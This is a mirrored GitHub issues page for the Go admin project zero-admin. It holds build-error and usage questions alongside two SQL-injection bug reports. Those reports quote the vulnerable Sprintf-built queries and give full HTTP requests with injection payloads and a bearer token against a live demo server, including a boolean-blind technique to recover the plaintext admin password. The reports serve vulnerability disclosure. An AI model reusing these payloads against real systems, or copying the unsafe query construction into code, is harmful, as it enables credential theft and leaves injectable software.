Code Monkey home page Code Monkey logo

zero-admin's Issues

[bug] sql 注入

sql 注入

此处代码对应的路由是 /api/sys/dict/list

zero-admin/rpc/model/sysmodel/sysdictmodel.go

Lines 36 to 58 in 744dccf

func (m *customSysDictModel) FindAll(ctx context.Context, in *sysclient.DictListReq) (*[]SysDict, error) {
where := "1=1"
if len(in.Type) > 0 {
where = where + fmt.Sprintf(" AND type like '%%%s%%'", in.Type)
}
if len(in.Label) > 0 {
where = where + fmt.Sprintf(" AND label like '%%%s%%'", in.Label)
}
if in.DelFlag != 2 {
where = where + fmt.Sprintf(" AND del_flag = %d", in.DelFlag)
}
query := fmt.Sprintf("select %s from %s where %s limit ?,?", sysDictRows, m.table, where)
var resp []SysDict
err := m.conn.QueryRows(&resp, query, (in.Current-1)*in.PageSize, in.PageSize)
switch err {
case nil:
return &resp, nil
case sqlc.ErrNotFound:
return nil, ErrNotFound
default:
return nil, err
}
} 

POST http://110.41.179.89/api/sys/dict/list HTTP/1.1
Host: 110.41.179.89
Content-Length: 77
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDE0NDIsImlhdCI6MTcxMDIxNTA0MiwidXNlcklkIjoxLCJ1c2VyTmFtZSI6ImFkbWluIn0.2QzsHccYXfGKd-AvfWCAOWW6oyi9R3EB3IWfyXK2A-c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://110.41.179.89
Referer: http://110.41.179.89/mall/system/dict/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"current":1,"pageSize":1,"type":"1919810%' OR id = 2 AND '114514' like '%1"}

front-api 目录作用是什么？

通过sh脚本，我看通过docker启动了api服务，但font-api 服务没有启动，请问下这个目录下的服务的用处是什么

你好想请问下项目命名的规范

有看到过go-zero,建议的文件命名规范是小写不要加_
我看到本项目,大部分目录和文件名的命名都是多个单词没有分割,全部用小写,这样做的目的是什么,没有分隔符看着会有一点怪
另外看到有两个目录front-api,common/errorx又是这样命名的.

预览网站登录不了 

{userName: "admin", password: "123456", autoLogin: true, type: "account"}

返回

rpc error: code = Unknown desc = 用户密码不正确

【bug】sms编译失败

执行docker build -t sms:v1 -f rpc/sms/Dockerfile .时报错：

#0 212.4 # zero-admin/rpc/sms/internal/logic/couponproductcategoryrelationservice
#0 212.4 rpc/sms/internal/logic/couponproductcategoryrelationservice/couponproductcategoryrelationlistlogic.go:27:79: in.Current undefined (type *smsclient.CouponProductCategoryRelationListReq has no field or method Current)
#0 212.4 rpc/sms/internal/logic/couponproductcategoryrelationservice/couponproductcategoryrelationlistlogic.go:27:91: in.PageSize undefined (type *smsclient.CouponProductCategoryRelationListReq has no field or method PageSize)
#0 212.4 # zero-admin/rpc/sms/internal/logic/couponproductrelationservice
#0 212.4 rpc/sms/internal/logic/couponproductrelationservice/couponproductrelationlistlogic.go:27:71: in.Current undefined (type *smsclient.CouponProductRelationListReq has no field or method Current)
#0 212.4 rpc/sms/internal/logic/couponproductrelationservice/couponproductrelationlistlogic.go:27:83: in.PageSize undefined (type *smsclient.CouponProductRelationListReq has no field or method PageSize)
------
Dockerfile:13
--------------------
  11 |     RUN sh -c "[ -f go.mod ]" || exit
  12 |     COPY rpc/sms/etc /app/etc
  13 | >>> RUN go build -ldflags="-s -w" -o /app/sms rpc/sms/sms.go
  14 |     
  15 |     
--------------------
ERROR: failed to solve: process "/bin/sh -c go build -ldflags=\"-s -w\" -o /app/sms rpc/sms/sms.go" did not complete successfully: exit code: 1

原因是这个提交 4c14598 将zero-admin\rpc\sms\smsclient\sms.pb.go中CouponProductCategoryRelationListReq中的Current、PageSize字段去除了，但是以下2处仍然依赖了Current、PageSize字段。

  • zero-admin\rpc\sms\internal\logic\couponproductcategoryrelationservice\couponproductcategoryrelationlistlogic.go中的方法CouponProductCategoryRelationList
  • zero-admin\rpc\sms\internal\logic\couponproductrelationservice\couponproductrelationlistlogic.go中的方法CouponProductRelationList

项目介绍

有没有哪位老哥大致跑过作者大大的这个项目，能简单说下业务结构和项目结构吗

[bug] sql 注入获取其他账号密码

sql 注入获取其他账号密码

此处代码对应的路由是 /api/sys/user/list

zero-admin/rpc/model/sysmodel/sysusermodel.go

Lines 61 to 84 in 744dccf

func (m *customSysUserModel) FindAll(ctx context.Context, in *sysclient.UserListReq) (*[]SysUserList, error) {
where := "1=1"
if len(in.Name) > 0 {
where = where + fmt.Sprintf(" AND sys_user.name like '%%%s%%'", in.Name)
}
if len(in.Mobile) > 0 {
where = where + fmt.Sprintf(" AND sys_user.mobile like '%%%s%%'", in.Mobile)
}
if in.Status != 2 {
where = where + fmt.Sprintf(" AND sys_user.status = %d", in.Status)
}
where = where + fmt.Sprint(" ORDER BY create_time DESC")
query := fmt.Sprintf("select sys_user.*, ifnull(sj.job_name,'') as job_name, ifnull(sd.name ,'')as dept_name, ifnull(sys_role.name,'') as role_name,ifnull(sys_role.id ,'0')as role_id from sys_user left join sys_user_role sur on sys_user.id = sur.user_id left join sys_role on sur.role_id = sys_role.id left join sys_job sj on sys_user.job_id = sj.id left join sys_dept sd on sys_user.dept_id = sd.id where %s limit ?,?", where)
var resp []SysUserList
err := m.conn.QueryRows(&resp, query, (in.Current-1)*in.PageSize, in.PageSize)
switch err {
case nil:
return &resp, nil
case sqlc.ErrNotFound:
return nil, ErrNotFound
default:
return nil, err
}
}

  • 这段代码查的是带有账号密码字段的数据表，而且存在 sql 注入
  • 数据库密码明文存储

那就可以使用布尔盲注挨个匹配出其他账号的密码明文

已知 demo 网站 admin 密码是 123456
此处做一个简单的注入判断

sys_user.username like '%admin' AND sys_user.passsword like '124%' 无匹配

POST http://110.41.179.89/api/sys/user/list HTTP/1.1
Host: 110.41.179.89
Content-Length: 75
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDE0NDIsImlhdCI6MTcxMDIxNTA0MiwidXNlcklkIjoxLCJ1c2VyTmFtZSI6ImFkbWluIn0.2QzsHccYXfGKd-AvfWCAOWW6oyi9R3EB3IWfyXK2A-c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://110.41.179.89
Referer: http://110.41.179.89/mall/system/user/list/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"current":1,"pageSize":10,"name":"admin' AND sys_user.password like '124"}

sys_user.username like '%admin' AND sys_user.passsword like '123456%' 匹配成功

POST http://110.41.179.89/api/sys/user/list HTTP/1.1
Host: 110.41.179.89
Content-Length: 78
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDE0NDIsImlhdCI6MTcxMDIxNTA0MiwidXNlcklkIjoxLCJ1c2VyTmFtZSI6ImFkbWluIn0.2QzsHccYXfGKd-AvfWCAOWW6oyi9R3EB3IWfyXK2A-c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://110.41.179.89
Referer: http://110.41.179.89/mall/system/user/list/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"current":1,"pageSize":10,"name":"admin' AND sys_user.password like '123456"}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.